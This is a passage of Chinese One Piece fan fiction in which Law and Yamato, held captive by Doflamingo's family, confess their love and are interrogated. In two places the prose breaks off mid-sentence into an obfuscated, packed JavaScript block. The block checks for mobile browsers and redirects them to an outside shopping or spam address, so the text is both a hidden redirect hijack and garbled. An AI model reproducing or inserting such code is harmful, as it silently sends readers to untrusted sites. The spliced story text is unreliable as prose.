“——不过你既然醒了就给我配合点,我们拍完照片还得赶紧交差。” “什么照片?”神经病吗,他为什么要配合干这种事?“我不拍。” “喂!本小姐好不容易帮你把大花脸擦干净,你不拍我不是白干了?况且少主说过的事就必须办到。” “跟我……有关系吗?”“少主”是谁?听起来应该是对方的上司,难道说指的就是多弗朗明哥?那他更不能让对方如意:“你们都……有病。” “——小结巴,你少嚣张!” “算啦,Baby-5,少主说了他的身份可能不一般呢。”旁边的龅牙大块头劝说道,“快点给他照完相,我们去交差吧。” “可恶……巴法罗,帮我按住他的头。” “别碰我,让开!” 沙发上的白发海贼一个侧身便躲开了干部的手——虽说巴法罗的实力在干部之中不算好,但他居然带着海楼石还能动不说,抬眼瞪来的样子竟还显得气场十足。 Baby-5眼疾手快地将他按回沙发上,面露犹疑。“难道刚才给你绑错了吗?确实是海楼石才对啊——巴法罗你来试一下。” 两腿之上就身材滚圆的大块头听后立刻摆了摆手,“诶?不要吧,碰到海楼石会没力气的。还是你来试一下比较好,Baby-5。” “我?可是……嗯,如果你真地需要我这么做的话,那我就……” ——有一说一,这两个唐吉诃德家族的干部某些方面确实有点问题吧? 大和暂且不动声色地听他们废话,同时默默蓄攒力量,直至盯着女仆打扮的Baby-5莫名其妙地扭捏又暗喜了一会,果真听巴法罗的话将上半身探过来,把手伸向他背后捆住手臂的海楼石链条。 他就刚好等着对方碰到锁链而泄力的同时,迅速抬膝一顶,紧接着又跳起来踹开另一面挡道的人影,如愿跑向那排巨大的座椅。 “……呜哇!臭小子居然还有力气……”敌人少顷缓过劲来,“你真是能力者吗?!” “他这不是挺‘精神’的……” “那是对照相的要求!他本人太过精神也压根不是什么好事好么!”女仆遭遇暗算,爬起来之后自是气不打一处来,直接用武器果实能力将右臂变化成步枪,打算先教训一下对方:“人在屋檐下还不知道低头的白痴,看本小姐给你……” 话音戛然而止,尚且举着枪管的女人先愣住了。 “怎么了?Baby-5,赶紧对付完他,我们好拍照给少主交差呀。” “什么嘛……”女人一时进也不是、退也不是。 在她视野正中央,被上级带回来、似乎同时也有着“特别身份”的白发青年并未如她所想的那样逃走,而是在径直跑到红心座椅前就停下来,旁若无人地弯腰打量起椅子上暂无神识的男人。 就算素不相识的敌人也能一眼看出,他此刻焦急担心的对象只有罗,似乎对自身的处境毫不在意。何况手臂被海楼石捆住的情况下,居然还能爆发出力量——难道就是为了看这么一眼? “……你不用看了,那臭小子没死——半死,但活着呢。” 可Baby-5即便这样说了,他还是站在黑发青年面前不动,不理旁人,也完全没有要趁机逃跑的意思——估计也清楚身在堂吉诃德家族的大本营,逃也逃不掉就是。 没过两秒,唯二旁观的Baby-5看见他找了一个合适的方位,将上半身前倾下去。 旁观者还以为他要干什么。早已听说过罗和身边的“跟班”关系不一般,难免有些八卦心思的同龄女子正打算提醒对方别太把其他人当不存在,顺带作势捂住眼睛以备“非礼勿视”…… 然而他只是在重心可调整的范围内将头停在罗的面前,仿佛在用脸颊试探对方的鼻息。 稍停之后,看起来就和Baby-5差不多大、外型也很像女性的青年兀自轻轻一笑,短暂欣慰之后面露更不加掩饰的忧郁。 他就那样直接在座椅下方并膝跪坐下来,自下而上仰望并注视在意或(甚至有可能是)心属之人。 Baby-5不经意间已放下武器,手臂恢复成原样。 ——难道那个臭小子“背叛”出去这么多年,居然还真遇到了爱自己的人……? 恍惚间她蓦然想起10多年前所认识的罗,那个从出现之日就身负不治之症的少年。有着不同寻常的悲惨遭遇,皮肤上的铅白色一日日扩散增加,天天念叨着反正很快就要死了,于是任务中比她还要拼命…… “Baby-5,你在干什么呀?”巴法罗的声音将她中短暂的回忆中唤醒回来,后者微微一怔,终究重新走上前,再次将手掌变作枪管,顶住坐在地上的人脑侧。 “老老实实地,把头抬起来。”她警告对方,并再次用力迫使其将注意力转过来。 “……”垂首之人起初没有理会,直到她作势调转枪口朝向红心座椅中的罗,才又得到他阴翳凶狠的回眸——说来还和罗有几分神似,令见者一愣。 而她不久前才替对方擦干净的脸上,分明已有新的泪痕。 Baby-5咬住香烟滤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503147|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴,还是从牙缝里挤出一句:“巴法罗,拿摄像电话虫来。” 这次大和总算没再乱动,即便并非主动配合,也还是任由敌人正对自己的脸拍下照片。 泪光伴着愤怒的眼神——两名家族干部也没办法,毕竟强迫人拍照是一回事,强迫对方笑着拍照就是另一回事了,而他们谁也不具备后一种本事——虽然所取图像严格意义上也不符合“精神”的要求,却也只能做到这个地步。 料想有海楼石捆着,其中一人尚且重伤昏迷,怎么也不可能逃走。他们索性将两人都锁在会议室中,只交代其余打手看着别出什么意外,自拿电话虫去洗片、找老大交差。 - - 因用光体力后又受伤失神的青年醒来时,视野中央首先出现的便是将脸伏在他膝头的人影。第一眼看到对方,即便已深知此刻的处境,居然还是感觉到一丝安慰。 不过察觉到腿上应当不属于他的温热,很快也就化作无可奈何?——难道说在他失去意识的情况下,另一个人就一直独自垂泪吗? “别把鼻涕蹭到我身上哦,打杂的……” 可能只比他看起来稍微有点精神的人——可是发型毕竟乱了,身上一看就是被“某些坏人”“恶搞”所穿的衣裙亮片也掉了一些,如同曾尝试大力挣脱却未成功还失了鳞片的鱼儿——后知后觉地抬起头来,面露惊喜。 可是当视线重新相遇,水雾弥漫的朱眸似乎又要悲从中来。 “唉……蹭就蹭吧,”望见微微肿起来的泪眼,要不是他现在一点力气也使不上来,可能都想不管不顾地抱抱对方,“老子明明还剩几口气在,却要被你心疼死。” 虚弱的口吻,带着无可奈何的语气,却成功让坐在脚边的同伴破涕为笑。见状,他也露出醒后第一个微笑。 他现在被海楼石锁在座椅上分明不得动弹,坐在腿畔的白发男人就好像呜咽的小兽那样,时而用湿漉漉的面颊贴向架在座椅两侧的手背,轻柔地好像只是为了再次确认他的温度。 但凡罗还有一丝力气抬起手指,也要再摸摸对方柔软的脸蛋——可他现在居然真地连动动手指的力气也无——有些遗憾攀上心头,这个时候竟飘渺地想起某人许久前曾在差点冻死时说过的“舍不得”。 ——实在太可爱了,他也舍不得呀…… 曾经担心的情形还是发生了,两年间无数次想过的最差结果摆在面前:他落在敌人手里,还连累了同行的船员。 他以为殚精竭虑考虑了最有利的战术,却独独漏算敌人原来竟是天龙人,被摆了一道还是一方面,没想到就连他自己也“一头热”地产生了与计划相悖的想法,竟然和Joker直接拼起命来。 看看将脸又靠回他大腿上的人,罗才隐隐意识到自己冲动之下造成的后果,远比预计的更为恶劣。 “怪我吗?”虽然明知会得到否定的答案,他还是忍不住问,好像此刻的告解是他唯一能“赎罪”的方式,“我出尔反尔了,下船之前说的话是蒙你的,我确实是故意让你跟着草帽那伙人,也没打算……就那么逃回船上去。” ——他曾说会回去见对方时,原本就连自己都不确信。 如他所料,大和摇了摇头,带着哽咽的语气开口说的却是另一件事:“我想告诉你,其实自从……第一次在科斯莫……岛上见到你……的时候,应该就很喜欢你……所以,那天最后才会跟你走的。” 听起来完全无干的对话,好像二人全然不再同一频道上。罗不禁苦笑:“我说你啊,都这种情况下了,亏你也能说得出口……”看来两年过去了,对方也还保留着想到什么就说什么的习惯。 看来语言障碍也并未改变大和的天性,或许也好。这样也好。 “不是突然……想到的。”男人瞪着大眼睛有些急切地争辩道,不过罗也并没有怪他不该说这些的意思,便态度平静而温和地听他解释:“其实早就想到了,至少……在桑尼号上就在……想了。” “——但那个情况下,马上要登岛,而且罗的心情……看起来也不太好,我就想着等一切结束……再告诉你。可是就在‘刚刚’,我以为Joker……立即就要杀你——” 白发人停顿了一下,好像平复眼底又要涌上的泪意。 使劲眨了眨眼,才接着道:“……差点再也没机会让你知道。所以现在才必须要……讲出来……给你听。” 罗静静地凝望坐在腿边之人。断断续续的表达听来也有些费劲,更不要说对讲话的人本身有多辛苦。 “这样啊……”他懂了,便再无一丝调侃顽世之意。 灰眸亦频繁眨动了几秒,最后咽下喉头的哽塞感,噙着淡笑认真道:“原来把你带走也不仅是误会那么简单。既然这样…… “——如果有幸遇到奇迹,你我这次也能活下来的话,就一辈子都在一起吧。” 他听明白了,大和现在说这些话并不是临时起意,而是都已做好充分的心理建设;所说的也不只是对一见钟情的告白,而是已准备好了要陪他“赴死”吧。 至少对方所说的“无论怎样都会跟着船长”一番话,是说到就打算做到的。 “嗯!”初见时一望便念念不忘的双眼含笑,温柔却不乏坚定。 白发青年又再次倚向船长和恋人的大腿,好像终于放心,再也无甚抱憾的事了。 “其实……罗也从早先……就很想和Joker一决……死战吧?”临了,他倒聪明起来了,替旁人道出了自身也未意识到的真意,“早就想过的……事怎么可能说放弃……就放弃。既然‘机会’送上门,如果是我就一定不想……错过。不过就是……我还以为只有我是‘笨蛋’。” 说着,他又笑起来,好像嘴上得了多大的便宜——终于轮到他笑话聪明人了。 没有动的力气,一时也找不到反唇相讥的理由,罗咧了咧嘴,毫无威慑力地笑道:“呵,这笔帐你给我记着。” 大和听到这,在敌人的大本营中竟还笑得一脸阳光——他从来都是想什么就要说什么,直率又不肯隐藏的人;只要将想说的说了,想做的也不留遗憾地做了,就再无挂念。 这么看来,倒显得他比另一人还更符合海贼的“标准”:在茫茫大海上今日生或许就将明日死之人,活着或许就该肆意表达爱憎,不留遗憾方显这份自由的价值所在。 反观领他正式成为海贼的船长,如今在他提醒下,方明白自己早该丢下所有的顾虑,即便前一晚身在同盟海贼船上,也应紧紧拥抱所爱——管它什么面子、里子,也不用怕是不是将弱点暴露给外人——喜欢的人就应该想亲的时候狠狠亲。 比起好像已了无遗憾的大和,罗此刻倒生出些惋惜——他曾动了自我毁灭的念头,可真要面对即将到来的毁灭前,才隐隐意识到爱或许比壮烈的死亡更有意义。 大门敞开,坐在一起的二人双双望去:在一群志得意满的敌人中,领头之人看起来比他俩加起来都高,身披火烈鸟羽,面带夸张的笑容却毫无一丝笑意,反而满身戾气——来人似乎意在扮演死神来宣判他们的命运。 可命运是他们早就为自己选好的。 51.piece 49-掀翻的牌桌与审问 “臭小子,你到底想干什么?”在属于国王的位置上落座,男人顺势翘起一条腿叠在另一条腿上,从太阳镜后打量红心形塑像下的两名年轻海贼,他的姿态更像睥睨。 靠在一起的二人并未改变姿势,但从唐吉诃德家族一伙人走进来就没再开口。即便来人摆出兴师问罪的架势,他们也只是用相似的眼神审视坐在中间的“老板”,好像完全没将其他干部放在眼里,也并无一丝身为阶下囚的惧意。 见状,嗬嗬怪笑声中几乎带上几分欣赏之意,多弗朗明哥并未显得动怒,而是好像“宽宏大量”地主动解释起刚刚的问题:“你应该知道大和是百兽海贼团的人吧?罗。” “……” “哈?” 被提问的人暂且没应答,发出疑问声的恰恰是在问题中被提到的人本身。 大和感到莫名其妙,也这才明白为什么起初遇到迪亚曼蒂的时候,对方一直像猜谜一样问这问那,烦得要死——原来根源在此。 “怎么可能?!”他觉得唐吉诃德家族从老大到干部怕不是都有妄想症,不是逮着他喊少爷,就是怀疑他和四皇的海贼团有什么关系,“我不知道你们……为什么会产生……这种错觉。难道……食物中毒?” 多弗朗明哥指腹抵着额头,暂时没搭理主动插话还听着就费劲的人。 “罗,我在问你,别让你的‘跟班’在旁边插嘴——还是说,他压根也不是你的跟班,只是被你‘骗’来便宜使唤的?” “我不知道你在说什么,Joker。”被一再追问的青年淡淡回道,也在同时好好藏匿起初听到问题时的一头雾水和随之而来的震惊。 “不敢承认吗?这家伙失忆的情况我已经听说了,他自己不记得尚且情有可原,可你觉得我会相信你也一无所知?” ——比起概率太低的巧合,多弗朗明哥当然更倾向于认为这是罗精心策划的诡计,或至少是在巧合发现失忆的“百兽海贼”后有意收编到自己手下,目的不言自明。 “这么说吧,两年之前我从未听过他这么一号人。他第一次蹦出来就跑到顶上战争,那时我也没注意到他,但那之后,不,准确说应该是在战争之前,应该就已经被你弄到身边了吧? “我还奇怪,你平白跑到马林梵多救走草帽小子,抽的是什么风。可如果你其实是去接新找的船员,顺带干了这么些事情就还讲的通。直白说,他就是你为了对付我而提前两年布局,从凯多手下拐来的吧? “——罗,你胆子不小,明知是四皇的人也敢招惹,甚至还带着他东奔西跑。你到底在打什么主意?” 多弗朗明哥的一系列假设和推理,不得不说构思大胆,但其中不是没有漏洞的。 他如今要搞清这些“逻辑跳跃”背后的真实情况,更为重要的目的,除了想知晓罗为了一解13年前的恩怨,到底还用了什么其它手段,以及在正式联络百兽将大和交出去之前,先一步掌握情报,免得再生事端。 所谓事端,指的就是万一罗真地在他毫不知情的情况下已与百兽接触——毕竟凯撒已经被抓走了,罗也知晓SMILE的情报,如果有心越过唐吉诃德家族直接和四皇达成什么“合作”,便已掌握关键要素,若不巧大和真地年纪轻轻已经是凯多麾下的重要人物—— 那多弗朗明哥要防的就不只是两个小毛头的同盟了,可能他现在已经处在危险边缘,不得不直接应付四皇。 “——太……扯了!” 白发青年还是在船长开口之前就不禁吐槽。唐吉诃德家族的人绝对是有妄想症吧!多弗朗明哥能当这么一帮人的首领,是因为他精神最不正常吧? 大和初次从伟大航道的陌生岛屿醒过来是三年之前,就算缺少更早的记忆,三年间的每一步经历是怎样的,他自己一清二楚。 且不说两年半以前认识罗完全出于巧合,即便是成为红心团的海贼也不可能是被谁设计利用的结果。 即便他承认自己没那么聪明,但应该也没蠢到被人耍了两年半还毫无所觉的地步。更不用说这些日子所经历的一切,无论生死相依、还是情不自禁,如果不是他主观上追随对方,没有任何人能逼他做这些。 ——如果一切都是罗策划的结果,那也太厉害了!厉害到这种程度,干嘛不直接用这样的本事对付多弗朗明哥,绕这么一大圈子捉弄一个原本毫无关系的人有什么意思?除非他不是“凯多的手下”而是凯多本人! 大和按捺着对敌人精神状态的担忧,一字一顿地告诉对方:“我不可能是……百兽的海贼!”准确说,遇到罗之前他压根连海贼都不是,“就算……失忆了,直觉上……也绝不可能跟那帮人……有联系。” 所以说他很想建议多弗朗明哥去看看精神科医生,因为对方刚刚八成以上的话完全是妄想。 可能由于大和的这一“建议”没有真地表达出来,多弗朗明哥还肯微微转动头颅,搭理他一下:“不得不说,听你讲话真是磨练耐性啊,少爷。” ——看看这小子被罗折腾成什么样子。两年前应该还能正常说话,两年间不单装聋作哑,如今还成了“结巴”。 更不用说从莫奈生前的描述中,以及更早从北海某处获得的情报来看,大和八成从情感上也对“骗”他的男人死心塌地,到了连命都不顾的地步。 说到这里,他还忍不住想夸奖一番曾受他亲自教导谋略的小子:“罗,能把麻烦惹到这个程度,我对你真是刮目相看。” - ——这叫什么级别的误会? 罗不动声色地想了一会,他当然也清楚多弗朗明哥一大半的分析是子虚乌有,但如果前提基于大和果真有那么不得了的身份,倒也说得通。 可问题是他对身边人是不是和四皇有关联毫不知情。他也曾经怀疑船员和白胡子海贼团有关,但从未联想到其他海上的大人物。 大和所展露的实力的确也不寻常,罗曾猜测他过去是船长级别的人物——只不过就是毫无名气——如果实际出自四皇麾下……也不对,他们两年间围绕四皇调查了这么久,对于凯多手下叫得上名号的人物耳熟能详。 还是四皇的配备果然强到离谱的地步,连大和这种程度都排不上号嘛? ——不可能,大和至少三年以前就和火拳艾斯打成平手,后者可是白胡子的二队队长;即便存在时间差,没道理凯多的手下人均比白胡子家的还难对付。 但出于对Joker的了解,罗倾向于认为对方应该是掌握了什么特别的情报,至少Joker是绝对的实用主义,从个性上来讲也应该没有胡思乱想的喜好。 除非……事实上Joker也没有确切的消息,于是眼下故意说些不着边际的话,目的是从他们这里撬开有用信息。 若论信息不对称,此刻双方很可能是半斤八两。 想到这,罗便稍稍有了些底气,等听到敌人再次追问,他便似笑非笑地以眼神示意向身边的另一人,道:“我家船员的话你也听到了,他说的每一个字我都认同。” “什么?失忆以及毫无依据的‘直觉’吗?” “欸,他的直觉从没出过错。”——这倒是真事。 他进而又想到:如果大和在百兽海贼团的身份真地如此重要,在其仅有的记忆中又怎会有“带着手铐”、“结识艾斯”并且被艾斯邀请出海,结果流落海外这么久也没被凯多的人找到。 罗倒是有另一种猜测:更有可能的情形是大和曾经出于其他原因作为凯多的“阶下囚”,被锁住不得自由,也无法出海,直至三年前才找到机缘“逃出”百兽海贼团的控制。 “啧。你认真的吗,罗?”多弗朗明哥的表情像是听他在说疯话,“既然这样,我就只能用自己的方式确认他的身份了。” “果然,我猜的没错,你压根也不知道他到底是谁吧?”青年人露出赌徒般的笑容,顺带讥讽:“如今的唐吉诃德家族竟已经没落到这种程度,拿些飘渺的消息胡思乱想,真是丢人……” 青筋从金发男人的额头前浮现出来,毫无温度的笑容似乎淡了一些。 “——把这两人分开。”多弗朗明哥一声令下,早就候在旁边的干部自然按吩咐走上前。不过罗已经被锁在红心座椅上,他们只能去拉开并未受固定的另一人。 “别碰我。”眼瞅伸手而来的又是刚刚两个强迫自己照相的人,大和毫不犹豫地先甩了一记眼刀。 “臭小子,一点记性不长。”女仆再次变化出枪支打算故技重施,可还没听到身后Joker叫停的声音,转眼居然被身边的搭档牵连——上一秒还坐在地上的人已借着一脚踢开近处的巴法罗,顺带阻止“武器人”再次靠近。 “痛痛痛!要死,巴法罗起来,你压到我了!” 情况发生地太突然,其余家族干部也未及时出手:每人事前料到被捆上海楼石的能力者还可以展现如此灵敏的身手。 Baby-5却不是第一回被大和攻击,推开背朝自己四脚朝天的搭档,亮出钢刃扬手就要给对手一个教训,不意外被躲开后,反手再次攻击时虽然成功碰到对方,却也直接迎上了霸气武装过的踢技。 “——少主,他真地‘不怕’海楼石!” 两相以攻为守的对峙下,女仆插空向坐在一旁的老大重申去交照片时已经解释过的情况。 所以说能拍出那么一张“不合格”的照片,已经不易了! 大和闻言也无意解释海楼石已经抑制了他的力量,只不过对手太弱了而已。 “啊,我已经看到了,Baby-5。”亲眼所见之后,上位者发出呋呋的笑声,感慨:“如果不是有海楼石,你们俩就不是摔一跤这么简单了。这小子的器量恐怕比罗还要强一些,可是刚才居然没逃—— “罗,实话承认吧,像大和这样的实力,你敢说他只是你的手下?为了控制他,你是不是故意不给他‘治病’,还诱使他喜欢你呀?” “你少——”正在用力抵抗的白发人一听就怒了,刚要开口叱骂,比他说话利索的人已经抢了过去: “他当然不止是我的手下,他是我的同伴,更是我的命!怎样?比你强的人只想宰了你或者利用你,没人爱你,还真是抱歉啊!” ——Joker的恶意揣测好像很久之前也被别人问到过。 罗有些怒意,莫名地也被敌人诱导产生了几分自我怀疑:难道真是他利用感情“绑架”了身边人? 既然大和同样被海楼石抑制的情况下还能将一部分的实力发挥出来,为什么刚才还非要守在他边上等他醒来…… 答案不是显而易见的么!虽然很震惊但他也真地很感动——这么想来,刚刚描述的一番迟来的“一见钟情”就是对方真正想告诉他的,简简单单,却再真实不过——既然如此,他又怎么能辜负对方的坦诚、不回应这份真情? 赶走脑子里被敌人刻意“植入”的念头,对于什么是真的、什么是假的,他决定自行判断—— “我从来也不知道他跟四皇有什么关系。他说没有任何关系,那就是没有关系!我只知道他是我的人,我相信他,也没想过要利用他,只是需要他,想让他跟着我而已。这个答案你满意了吗?Joker!” 一通不加掩饰或修饰的耿直言论,令在场的旁人听来五味陈杂。 被提到的人听到了他所想要获得的信赖; 曾经在唐吉诃德家族共事的同龄人听到了她羡慕和向往的需要感; 过去的老板、今日的仇敌正式明白,离开家族10多年的小子是彻底不可救药地犯蠢:“罗,就算再怎么不识时务,别跟我说你真的……” “——对了,老子就是爱他!”像叛逆的青春期小鬼,又像意气用事的、不计后果的莽夫,他就这么承认了,也不管是不是在敌人的老巢里暴露自己的“弱点”。 - 多弗朗明哥现在不想理一头热的“蠢货”。到此为止,审问到的信息不但没有让他满意的,还越发令人失望。 “你们都别动手,我亲自来。”国王面无表情地起身,抬手阻止蠢蠢欲动的其余人等。 “少主……” 只见金发男人一步跨上前,状似轻松地弹开几道对他而言无甚威胁的抵抗,手指向内一握,比他矮了一半的白发青年肢体便僵住了。 多弗朗明哥本已对此番挑战自己的“小海贼”们怒火中烧,只是不发,哪怕大和的身份尚且不明,对于他的耐心事实上还不如给予罗的多一些。既然亲手制伏,转而也就不怎么客气地伸手抓着渐变色的花辫盘发,打算就此拖走。 却不想旁边自身难保的青年在这种情况下还敢嚷嚷:“他又不是女人,别这么对他!” 金发高个男人脚下一滞,怒从心来,又狠狠忍下,“弱者没资格决定自己是什么人,更别想教别人用什么对待方式。” ——话虽这么说,实际上他却还是接受了“建议”,“纡尊降贵”地弯腰拎起人质手臂大步拽向门外。 “你干什么!要带他去哪?可恶,多弗朗——” 怒吼甩在门后,高个男人继续拎着同样吵闹的白发小鬼继续走。 着实吵吵嚷嚷太过恼人,剩下的几步他顺手用线线果实把旁人的嘴也缝上,一把拽进隔壁独属于德雷斯罗萨国王的空间。 大和一口气未吐出险些呛到自己,没待看清新踏入的环境,转眼便被按在一把硬邦邦的椅子上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518722|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此前就已体验过的密密匝匝的线又再次勒上周身,这次是将他和椅背捆在了一起。 “呜!”痛呼被挡在口中发不出来。这不算什么,紧跟着抬起头来对上一副反射寒光的镜片,才让他的心几乎和惊叫一起提到喉咙。 屋内光线只有从百叶窗照入的几束而已,面朝窗口,他只能看到反光而丝毫打量不见镜片下的双眼,甚至于面容都藏入阴影变得模糊。 可对于多弗朗明哥来说情况刚好反过来,近处逼视瞪大的明眸,他可以将这张单纯而年轻的脸一览无余。“对不住了,少爷。”他很快调整了语气乃至表情,音容不多见地温和,“那小子刚刚有勇无谋的蠢像让我恶心,一不注意就没收住脾气,差点‘误伤’到你。” 惺惺作态的致歉根本毫无意义。愤怒的眸子紧盯足有三米高的男人在空空荡荡的房间中走来走去,不多时拎过两只高脚杯并一瓶红酒。 酒塞拔出,转而猩红的酒色落入水晶杯中,微光中也如流动的水晶。 手指捏住其中一只杯柄,顺手也拖过一把椅子,有着多重身份的男人坐在被禁锢的青年面前,轻晃酒杯的神态就好像要给对方慢条斯理地讲个故事。 “罗从10岁就加入唐吉诃德家族,那时候他还是个身患绝症的小鬼。为了将他调教成我的左膀右臂,家族的成员们可是毫无保留地将能教的东西都教给他了: “体术,剑术,炮术,还有策略和战术——那小子看起来应该还挺优秀吧?各方面都拿得出手,脑瓜子也机灵。出海没几年,居然就被说成是‘极恶世代’的海贼,还一跃变成‘七武海大人’。既然你对他还算满意,肯定也注意到了……总不会你感兴趣的只有‘那方面’的交流,对于其他方面一点都不在意。” 似真似假的独白令大和皱皱眉,他暂停无效的挣扎,仔细听对方还有什么话要说。 “是吧?我想也是,”即便在昏暗的房间中也未摘下太阳镜的男人露出了然的笑意,似乎带上一些欣慰,“看来学过的东西,这些年还是没全忘掉。也对,家族养育过的所有无家可归的孩子里,罗的天资最佳,也只有他学东西是最用心,学得最快。 “他有一股难得的狠劲,就连在学习技能时也会运用上。他总是逼自己以最快速度接受并深刻领会,下一次就能运用到实战中,如果做不到就会愤怒——对自己愤怒。 “——10岁出头的年纪就一副深沉严肃的面孔,当其他小孩都在贪玩、贪吃、躲懒,只有他很清楚自己要干什么,并且自觉地完成任务。” 大和认真地听着,同时也在观察:多弗朗明哥在回忆中没有吝啬对所陈述之人的欣赏,抛开从始至终也无法看清他的眼神,表情似乎也真实地流露出几分对过往的怀念。 他有些迷惑了——难道说即便所作所为残暴不仁,即便显现出来的邪恶不加掩饰,可实际上这个男人也会在特定情形下、对特定的人群施以善良和温柔? 他先前以为多弗朗明哥虚假的不得了,面带假笑、玩弄手段、愚弄世人。难道说事实上“Joker”只是他的一面伪装,抛开假象,仍有真实的一面,只不过仅仅只会对身边的亲信、对唐吉诃德家族的成员时才会展现? 这时,多弗朗明哥念出了他的名字——而不是莫名其妙、让他越听越恼火的怪异称呼。 “大和,我暂且这么叫你吧,因为实话说我也不清楚你是不是百兽的海贼所说的那个人。” 耳闻对方道出实情,听者微微一顿,在明显意识到还无法开口的情况下,抬眼正视对方。 “请你替我想象一下:家族这么慷慨地养育一个小鬼,更何况还打算想方设法地替他治病,结果有一天他逃走了,13年后再回来居然是为了干掉我。不但如此,还变得既冲动又软弱…… “——所有的心血全白费,我是不是也该感到失望呢?” 电话虫适时发出提示音,恰恰就在独白之人话音刚落。 房间中相对而坐的两人将注意力转向摆满各式电话虫的桌面,少顷,多弗朗明哥昂头饮下说话间只剩下最后一口的红酒,起身离席,顺手解除了封口的能力,予大和正常开口的“权利”。 - - 等到话事人终于回到最高干部会议室,那里看起来也已经等了他许久。 “Joker,你对我的船员做了什么?”——看来罗没怎么抓紧时间和留在会议室的乔拉、Baby-5等人“叙旧”,倒是很可能一直在琢磨另一个房间可能发生的事。 “呋呋……放心吧,我身边的乐趣足够,还没无聊到碰小鬼的‘玩具’。” 他照旧坐回干部们围绕的主座,打量着好像已经比之前冷静下来不少,也像他一样隐藏起情绪与城府的人。 看来把两个年轻人分开还是有效果的,接下来的对话应该能回到理性的轨道上来。 “不过,”出于一点小小的“趣味”,他还是说:“那小子比你‘通情达理’一些,我说的话,他似乎也愿意考虑呢……” 闻言,青年不动声色地抬眼看了看他,可惜并没有被他逮到任何动摇之色便又垂下眼帘。 在等待的期间,罗已经默默理清楚一件事。 船员过去与四皇有没有关系,至少目前对罗来说压根无所谓。既然敌人怀疑有关,那他也乐见其成,因为这样他就敢赌一把,最早直到怀疑被证伪之前,多弗朗明哥应该都不敢伤大和的性命。 只需这样一个认知,就够支撑他默默做好决定—— 即便心口从刚刚就莫名抽痛:或许还是有所不舍。可他想来想去,两个人里总该有一个活下去;或许“阳光”还是应当被留在世间…… 大概这也像柯拉先生当年曾作出抉择时的心情,他好像体会到了。 好在想说的话已经说出来,虽然不是在本该更浪漫的情形下,而是在敌人的逼问下才凶巴巴地吼出来,但总归可以无憾。 ——打杂的,带着他的爱,记住他,自由地活下去吧。 如此作想之人视线不及之处: 空荡荡只剩一人呼吸声的房间中,从桌面到地面散布着碎玻璃,血色还在地板缝隙中流动、渗透木质,代替了不久前还放在这里的瓶装红酒与高脚杯。 原本相对而立的座椅翻倒在地,其中一架人去已空,尚有一架座椅上绑着披头散发的人影。 断角在鬓边若隐若现,愤怒的眼泪好像不值钱,骨碌碌滚入流经的酒液。 曾短暂教导过大和的智者亚伯拉罕说的没错,这世上就是有“满口歪理连自己都能说服”之人。 ——绝不能让这样的人如愿操控罗,罗明明应该是自由的! 他下定决心。 52.piece 50-掀翻的牌桌与争执 电话虫在频繁作响,Joker日常的“业务”似乎非常之繁忙。即便是在不久前将大和抓到这个房间后谈话的过程里,也有不止一只电话虫多次发出提示音。 心情稍作平复后,默默蓄力的人偶尔也会被这些“卟噜卟噜”的声音惊扰,一直未成形的对策便一再打乱。 看来,动脑子想战术这种事他是真地做不来,还是船长更擅长策划和指挥。 一路走来,他们的行动也基本依赖船长的判断,若是离了船长,除非运气好到足以感人,只怕很难走到如今这一步。 ——只怕大和还被关在科斯莫波利坦当冤大头“嫌犯”,或许侥幸逃出生天在海上漫无目的地漂泊,要么就是还没意识到自己拥有的力量,也与“援救莉娜”这一愿望实现的机会失之交臂。 而船长也真地很不容易。 亲眼见过罗所有日思夜想、殚精竭虑,甚至也曾因行动陷入瓶颈而焦躁不安,大和才知道他并非永远像在海贼船上指挥船员时那样余裕从容,也并非总能沉住气,以最佳策略应对所有局面。 买到没有价值的情报时会心烦意乱,拿不定主意时他会如坐针毡,陷入被动时也会束手无策,别无选择时他甚至可能一意孤行。 大和完全明白他所有的作为从来依靠的都不止是“脑子好用”那么简单的条件。如果放着他不管的话,他会拿出比别人更疯狂的专注力思考,以致再深的夜也无法合眼安睡,也会拼命压抑紧张和疲惫,甚至无视健康、将自己逼到神经质也在所不惜。 在每个总算能看到他在臂弯中睡着的夜里,目光扫过只增不减的黑眼圈,守着他的人就曾默默想:船长很优秀的,但也需要帮助呢;他看起来很完美了,但也不是万能的。 他需要有人支撑他、帮助他,在他快要倒下之前搀他一把。 他毕竟也才26岁,就算再能勉强自己,旁人总不能真地放着他独自对抗所有黑暗吧? 可是啊…… 白色的脑袋瓜朝地面猛地一撞,“咣——”地一声,就连房间中的家具也为之一颤。 “混蛋……玩翻花绳的……控制狂……”即便连咒骂的话都讲得不够利索,自言自语也还是要讲,因为这可是罗给的医嘱:在彻底恢复之前必须尽可能开口说话。“捆得好紧啊!” 有海楼石的影响下,想用上力气就已经很困难了,现在敌人还加了几圈比钢丝更牢固的线,让大和一点挣脱的余地也找不到。气得只想在获自由后揪住“骗子火烈鸟”往死里揍,顺带一报“毁”他发型的仇! 散发歪在地上的青年明白,自己真实的模样应该已经被注意到:他是鬼族的人,就算把自己的角弄断了,也改变不了身为鬼族的事实。 或许,就算大和再不情愿,也不得不怀疑多弗朗明哥可能掌握了有关他身份的信息。不然不会在接过一个电话之后,就无视他的抗议和挣扎,硬要拆开他的长发了直至看到断角。 